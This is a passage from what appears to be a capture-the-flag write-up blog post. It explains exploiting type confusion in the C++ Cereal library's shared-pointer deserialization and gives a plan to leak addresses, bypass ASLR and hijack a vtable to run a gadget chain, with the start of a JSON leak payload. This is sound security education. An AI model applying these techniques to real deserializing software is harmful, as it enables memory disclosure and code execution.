&lt;span class=&quot;token keyword&quot;&gt;using&lt;/span&gt; string &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; basic_string&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Ignoring short-string optimisation and other factors, an &lt;code&gt;std::string&lt;/code&gt; simply consists of three members: the buffer (a pointer to the actual characters), the size, and the capacity of the dynamically allocated memory.&lt;/p&gt;
&lt;p&gt;This allows for a growable string, suitable for dynamic operations such as append, replace, and remove.&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Key Point for Exploitation: If we control &lt;code&gt;buffer&lt;/code&gt; and can observe the string, we can achieve arbitrary memory read.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;analysis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#analysis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Analysis&lt;/h2&gt;
&lt;h3 id=&quot;initial-analysis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#initial-analysis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Initial Analysis&lt;/h3&gt;
&lt;p&gt;First step: Understanding what we have, aka enumeration. What protections are in place? What attack primitives are available?&lt;/p&gt;
&lt;p&gt;Protections are typically easy to check. Running &lt;code&gt;checksec&lt;/code&gt;, we see &lt;strong&gt;NX&lt;/strong&gt; is enabled, which means shellcode is out of the question. &lt;strong&gt;PIE&lt;/strong&gt; and, by default, &lt;strong&gt;ASLR&lt;/strong&gt; are also enabled, so we&#39;ll want some kind of address leak to do anything useful.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Checksec shows most binary protections are enabled.&quot; href=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_checksec-758w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60&quot; src=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_checksec-758w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 758 / 376&quot; alt=&quot;Checksec shows most binary protections are enabled.&quot; title=&quot;Checksec shows most binary protections are enabled.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_checksec-256w.webp 256w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_checksec-512w.webp 512w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_checksec-758w.webp 758w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 758px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Looking at the code, we see 3 classes deserialized.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Congee&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;uint64_t&lt;/span&gt; ingredients&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Toast&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;uint64_t&lt;/span&gt; spread&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;eat&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Fruit&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string name&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;

std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Remind me of the data again? &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string input&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getline&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cin&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; input&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Read input&lt;/span&gt;

std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;stringstream &lt;span class=&quot;token function&quot;&gt;ss&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;input&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
cereal&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;JSONInputArchive &lt;span class=&quot;token function&quot;&gt;archive&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ss&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;shared_ptr&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Congee&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;shared_ptr&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Toast&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; t&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;shared_ptr&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Fruit&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;archive&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; t&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Deserialization happens here!&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&#92;nc: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;c &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;t: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;t &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;f: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;f &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
t&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;eat&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Cereal supports serialization of &lt;code&gt;std::shared_ptr&lt;/code&gt;. But how are shared references handled?&lt;/p&gt;
&lt;p&gt;Cereal&#39;s JSON format uses an &lt;code&gt;id&lt;/code&gt; key for shared pointers. If &lt;code&gt;id&lt;/code&gt; is greater than &lt;code&gt;2 &amp;lt;&amp;lt; 30&lt;/code&gt; (2147483648), then the object is new and memory should be allocated for it. Otherwise, the object was seen before and the old &lt;code&gt;std::shared_ptr&lt;/code&gt; should be copied.&lt;/p&gt;
&lt;p&gt;For instance, here&#39;s a sample JSON cereal-isation containing shared references:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-json&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;&quot;ptr_wrapper&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2147483649&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;...&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;&quot;ptr_wrapper&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2147483650&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;...&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;&quot;ptr_wrapper&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;&quot;ptr_wrapper&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;JSON&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;In the above code example, 2147483649 and 2147483650 refer to new objects with ID 1 and 2. Memory is dynamically allocated, and object data is deserialized. Afterwards, the deserializer encounters &lt;code&gt;&amp;quot;id&amp;quot;: 1&lt;/code&gt; which refers to the first object. No new data is deserialized, and the first &lt;code&gt;std::shared_ptr&lt;/code&gt; is copied.&lt;/p&gt;
&lt;p&gt;We&#39;ve figured out how Cereal handles shared references, but how can we apply it to the challenge?&lt;/p&gt;
&lt;p&gt;Well, what if we &lt;em&gt;force&lt;/em&gt; a shared reference, even if the deserialized types are &lt;em&gt;different&lt;/em&gt;?&lt;/p&gt;
&lt;h3 id=&quot;type-confusion-primitives&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#type-confusion-primitives&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Type Confusion Primitives&lt;/h3&gt;
&lt;p&gt;It turns out Cereal does not perform type checking on shared pointers. If the deserialization handles multiple types, we can abuse it for type confusion!&lt;/p&gt;
&lt;p&gt;I&#39;ll share a deep-dive into the type confusion primitives in a future post. For now, it suffices to understand &lt;em&gt;what&lt;/em&gt; primitives are available in this challenge and &lt;em&gt;how&lt;/em&gt; to achieve those primitives.&lt;/p&gt;
&lt;p&gt;Here are the types again, for reference:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Congee&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;uint64_t&lt;/span&gt; ingredients&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Toast&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// uint64_t vptr; // &amp;lt;-- implicit vpointer member due to the virtual function&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;uint64_t&lt;/span&gt; spread&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;eat&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Fruit&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string name&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;And the primitives available:&lt;/p&gt;
&lt;div class=&quot;table-container &quot;&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;If we deserialize a...&lt;/th&gt;
&lt;th&gt;followed by a...&lt;/th&gt;
&lt;th&gt;we get...&lt;/th&gt;
&lt;th&gt;because we...&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Toast&lt;/td&gt;
&lt;td&gt;Fruit&lt;/td&gt;
&lt;td&gt;Address Leak (ASLR Bypass)&lt;/td&gt;
&lt;td&gt;leak the vtable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Congee&lt;/td&gt;
&lt;td&gt;Fruit&lt;/td&gt;
&lt;td&gt;Arbitrary Memory Read&lt;/td&gt;
&lt;td&gt;control string internals&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Congee&lt;/td&gt;
&lt;td&gt;Toast&lt;/td&gt;
&lt;td&gt;Control Flow Hijacking&lt;/td&gt;
&lt;td&gt;control the vpointer&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;If the table doesn&#39;t make sense, perhaps this diagram demonstrating an address leak will help:&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Diagram of Type Confusion on Toast and Fruit.&quot; href=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_type_confusion-1008w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80 alpha-imgv&quot; src=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_type_confusion-1008w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1008 / 461&quot; alt=&quot;Diagram of Type Confusion on Toast and Fruit.&quot; title=&quot;Diagram of Type Confusion on Toast and Fruit.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_type_confusion-256w.webp 256w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_type_confusion-512w.webp 512w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_type_confusion-1008w.webp 1008w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 1008px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The program thinks the memory at &lt;code&gt;0x4000&lt;/code&gt; is a &lt;code&gt;Fruit&lt;/code&gt;, but surprise!— it&#39;s actually a &lt;code&gt;Toast&lt;/code&gt;. When &lt;code&gt;Fruit::name&lt;/code&gt; is printed, what&#39;s actually printed is the vtable entry of &lt;code&gt;Toast&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Together, these primitives are enough to obtain arbitrary code execution!&lt;/p&gt;
&lt;h2 id=&quot;exploitation&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#exploitation&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Exploitation&lt;/h2&gt;
&lt;p&gt;Great, we&#39;ve found the chink in the armor. Now let&#39;s draft a plan of attack.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Leak the VTable address. (&lt;code&gt;Toast&lt;/code&gt; → &lt;code&gt;Fruit&lt;/code&gt;) We can use this to calculate the base address of the binary and offsets to other locations (e.g. &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Global Offset Table&quot;&gt;GOT&lt;/abbr&gt; entries). This will be useful to bypass ASLR/PIE.&lt;/li&gt;
&lt;li&gt;Leak a libc/libcpp address. (&lt;code&gt;Congee&lt;/code&gt; → &lt;code&gt;Fruit&lt;/code&gt;) This allows us to calculate offsets to gadgets.&lt;/li&gt;
&lt;li&gt;Find a heap address. (&lt;code&gt;Congee&lt;/code&gt; → &lt;code&gt;Fruit&lt;/code&gt;) We&#39;ll need this address for the next step.&lt;/li&gt;
&lt;li&gt;Hijack control flow to point to a crafted gadget chain. (&lt;code&gt;Congee&lt;/code&gt; → &lt;code&gt;Toast&lt;/code&gt;) We&#39;ll use the 64 bytes available in &lt;code&gt;Congee&lt;/code&gt; to plant a fake vtable containing a gadget chain. When the virtual function is called, the chain is triggered.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;leaking-the-vtable&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#leaking-the-vtable&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Leaking the VTable&lt;/h3&gt;
&lt;p&gt;Leaking the vtable is rather straightforward. We simply set the &lt;code&gt;id&lt;/code&gt; of the &lt;code&gt;Fruit&lt;/code&gt; object to refer to the &lt;code&gt;Toast&lt;/code&gt; object. But wait— since &lt;code&gt;Fruit&lt;/code&gt; is a string, we should make sure the size is non-zero. Luckily, we can control the size using the &lt;code&gt;spread&lt;/code&gt; parameter.&lt;/p&gt;
&lt;p&gt;To recap, by type-confusing &lt;code&gt;Fruit&lt;/code&gt; and controlling &lt;code&gt;spread&lt;/code&gt;, we map &lt;code&gt;Toast&lt;/code&gt;&#39;s vpointer to &lt;code&gt;Fruit&lt;/code&gt;&#39;s string buffer and &lt;code&gt;Toast&lt;/code&gt;&#39;s &lt;code&gt;spread&lt;/code&gt; parameter to &lt;code&gt;Fruit&lt;/code&gt;&#39;s string size.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;vtable_leak_json&quot; class=&quot;language-json&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;value0&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Congee (unused this time)&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;ptr_wrapper&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2147483649&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// id = 1&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;token property&quot;&gt;&quot;ingredients&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
